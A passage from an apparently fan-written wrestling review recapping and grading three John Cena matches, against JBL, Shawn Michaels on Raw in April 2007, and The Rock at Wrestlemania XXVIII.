They both head on top of the car and JBL gets a weak swinging neckbreaker on the hood also. They head over to the production area but Cena won’t give up. He manages to send JBL into a TV head first. I have never seen Cena bleed like this in his career. Now JBL goes into the window of the limo. To the top of the car and Cena gets a suplex before ramming him into the door of the car.

Now he breaks the door of the car off and lifts it over his head. JBL is just trying to run now. They head over to the flatbed truck and Bradshaw gets rammed into an air canister or something like that. DDT on the truck by JBL out of nowhere but he still won’t quit. They go over to a speaker and JBL tries to choke him again. Cena finds a microphone somewhere and drills JBL in the head with it to save himself and put JBL through a table.

The champ goes over to the flatbed and rips the smokestack off and comes at JBL with it with a look that scares me to death in his eyes. JBL sees him coming and gives up out of fear. Cena hits him with it anyway, which I would have gone with as the ending but the other one worked too. Cena poses in the ring with the title to end the show, still covered in blood.

Rating: A. THIS is what you call a star making performance. This was an absolute war with Cena standing there covered in blood for the majority of the match and having it cover his upper body. He looked like a warrior out there that wouldn’t give in no matter what. The look of fear on JBL’s face was excellent as well and Cena was absolutely terrifying at the end of the match coming at JBL with that big pipe. If you want to see Cena go nuts and have his version of the street fight at the 2000 Rumble, find this match. Find it anyway as it’s pretty easily JBL’s best ever and probably in Cena’s top 10 if not higher.

Now for one of the big ones. From Raw on April 23, 2007, John Cena’s 30th birthday. This is a rematch from Wrestlemania 23, less than a month earlier.

Shawn Michaels vs. John Cena

There’s almost an hour to go in the show so you know this is going to be something good. Shawn works on the shoulder to start but Cena counters with a headscissors into a stalemate. They do the exact same sequence and then try it again, but Cena goes for a drop toehold which Shawn escapes. Another STFU attempt sends Shawn running to the ropes. Cena is very pleased that he got that close.

Cena tries to grab the leg this time but Shawn makes the rope. They get in each others’ faces and it’s a slugout. Back from a break and the fans are getting way into this. Cena takes him down with a headlock instead which lasts for a good while. A big clothesline takes Shawn down and it’s chinlock time. Shawn pops back up and is immediately clotheslined back down.

Sweet Chin Music is avoided and the FU is countered by Shawn heading to the floor. We take another break and come back to Shawn getting in a shot in the corner. He’s mostly the heel in this but it’s not full fledged. They speed things up and Cena hits a World’s Strongest Slam for two. Release fisherman’s suplex gets two. Throwback gets two. They slug it out and Shawn counters a suplex into a neckbreaker for two.

Another slugout results in the flying forearm by Shawn. He nips up and hammers Cena down and goes to the corner for the elbow. It hits but instead of covering Shawn stomps the mat for the Chin Music. Cena ducks and Shawn grabs a quick backslide for two. The shoulder block misses and Cena may have hurt his shoulder on the crash to the floor. Shawn dives over the floor but Cena catches him in mid-air and slams him into the steps.

Back from break #3 and they’re both in the ring again. It should be noted that we’re probably half an hour into this and Cena looks FINE. He doesn’t look tired, he doesn’t look winded, he doesn’t even look sweaty. That’s almost scary. Cena charges into the post and Shawn has a target. He hooks a combination hammerlock/abdominal stretch on the mat before driving in some knees on the arm.

Cena shrugs off most of it and starts his finishing sequence, taking Shawn’s head off with a clothesline. The Shuffle hits but the FU is countered into Chin Music attempt into the FU for a VERY close two. We take another break and come back with Cena throwing Shawn to the floor. Cena rams his back into the post and we head back inside. Delayed vertical suplex gets two.

Bearhug time which is proof we’re in a big match as you almost never see a face use one of those. Shawn fights out of it but gets thrown over the corner and out to the floor. Back in Cena hits the top rope Fameasser which seems to be a new move for him. They go to the corner for a superplex but Cena instead tries an FU off the top, which Shawn counters into a powerbomb off the top to put both guys down.

Out to the apron and Shawn knocks him face first into the announce table. The look on his face says THAT REALLY HURT! Out to the floor and Shawn loads up a piledriver on the steps but Cena backdrops him onto the floor as we take I think break number five. Back with them on the announce table and Cena is all fired up. Back inside Cena hooks the STFU but it’s not cranked on perfectly.

Shawn makes the rope and we cut to some cheering girl in the crowd. Shawn looks a bit dead but Cena is waiting for the FU. Shawn pops up with the Chin Music but Cena tries the FU again. That gets reversed and Chin Music hits for a very delayed two. They slowly get up and Cena tries the FU again but Shawn slips down the back and hits the second Sweet Chin Music for the pin at 55:49. Unless there’s some house show match that I don’t know of, that’s the longest regular one on one match in the WWE/F since 1981.

Rating: A-. It’s certainly not a masterpiece or even anything close to one, but considering they just went an hour, you have to give them bonus points. Cena looked fresh as a daisy 40 minutes into this which is more proof that he isn’t human. This is also a loss that doesn’t hurt Cena because it wasn’t like he got beat but rather that he got caught. Very good match and the time aspect of it is remarkable. This match is on the Heartbreak and Triumph DVD.

Is there anything else that could close this out? This is Cena’s moment, from Wrestlemania XXVIII. I’ll throw in the pre-match stuff as a bonus.

And now, it is time.

We recap Rock vs. Cena which is at least a year in the making. Something like seven years ago Cena insulted Rock in an interview, so when Rock came back to be guest host last year, he insulted Cena in his return promo. The night after Wrestlemania, Cena had challenged Rock to a one on one match at THIS Wrestlemania. This led to a year of build (minus six months for Rock to make a movie of course) which got me to the point where I HAD to see this match. I didn’t know if it was going to be great, if it was going to suck, or somewhere in between, but I needed to see it. That’s never happened to me as a fan before.

Diddy comes out to bring out MGK (a rapper) to perform some song called Invincible. He does this stupid monologue about how Cena is a huge underdog in this, despite Cena being active having more experience overall than Rock. Cena is booed out of the building but gives something to an old lady who apparently is related to some Hall of Famer. We should be ready for Rock’s entrance, but first we need Flo-Rida to perform two songs. I remember SCREAMING to get to it at this point. Oh and Flo has a bunch of dancers with him, presumably the same girls who were in the Bridge Club ten minutes ago.

John Cena vs. The Rock

Rock’s ovation is thunderous. There’s really no other way to put it as it’s very clear who the fans are for here. During the big match intros, Cena is booed even further out of the stadium. They stare each other down and FINALLY the bell rings. Cena shoves him away to start and the dueling chants begin. They lock up again and this time Cena goes flying. Rock grabs a headlock before they fight over arm control.

A few armdrags put Cena down and a cradle gets a quick two for Cena. Cena has to make sure it wasn’t three as he looks a bit shaken. Back up and John leapfrogs over Rock before taking him down with a headlock takeover. They get up again and Rock tries a quick Sharpshooter but Cena bails to the floor. Rock decks him as he gets back in but Cena charges at him in the corner with a hard shoulder to the ribs. Cena gets a quick one count off a clothesline before putting on a bearhug on the mat.

Back up and Rock punches away but gets low bridged out to the floor. Cena drops him ribs first onto the barricade and announce table before going to the ring for a seat. When Rock won’t quit Cena throws him back inside and gets a two count. We’re definitely in another gear now. Off to a bearhug on Rock’s bad ribs but he won’t quit. Rock finally comes back with right hands to escape and a DDT for two.

Rock wins a quick slugout and hits the spinebuster but Cena picks the leg to break up the Elbow. Cena comes back with his finishing sequence but the AA is escaped. A double clothesline puts both guys down as they take a breather. After a few moments on the mat they slug it out with Cena punching Rock down to his knees. Rock fires off more punches and does You Can’t See Me before trying the spit punch, only to get caught in the AA for a close two.

Cena goes to pick Rock up but takes the Rock Bottom for two for the Brahma Bull. Rock stomps away in the corner but walks into a side slam for two. John goes up top for a very delayed top rope Fameasser for another near fall. Rock comes back with a spinebuster into the Sharpshooter but he doesn’t have it on well. Cena crawls to the rope so Rock lets go and pounds away. Back to the Sharpshooter (why don’t more people do that? Even if Cena won’t quit you can still do more damage) but Cena makes the rope immediately again. Gee maybe if he had pulled Cena from the rope it would have been harder to escape.

Rock fires off some elbows to the chest and sends Cena into the steps for good measure. Back inside and Cena tries a sunset flip of all things but immediately shifts into the STF in the middle of the ring. Cena drags him back to the middle of the ring and Rock is starting to fade. We get an old school arm check and Rock holds it up on the third drop. I love stuff like that. Rock makes it to the ropes and as they get back up, Cena walks into a Samoan drop to put both guys down.

Another slugout goes to Rock and the spinebuster sets up the Elbow……for TWO. The place is losing their minds on these kickouts and can you blame them a bit? Both guys are spent here but Cena hits a catapult into the corner for two. With nothing left to try, Cena loads up the middle rope AA but Rock shoves him off and tries a top rope cross body but Cena rolls through into the BIG AA for an even closer two. Cena begs the referee to call it three. That gets him nowhere so Cena loads up a People’s Elbow. As he hits the second rope, Rock nips up and hits the Rock Bottom for the shocking pin.

Rating: A+. What else do you want from this? This is one of those matches which could have gone either way as they beat the tar out of each other. They had the big fight atmosphere down to perfection here and while the ending is still questionable (yet not completely wrong), it’s exactly what you want a Wrestlemania main event to be. This somehow surpassed the hype and was excellent in every sense of the word.

I don’t think I need to explain John Cena to you.

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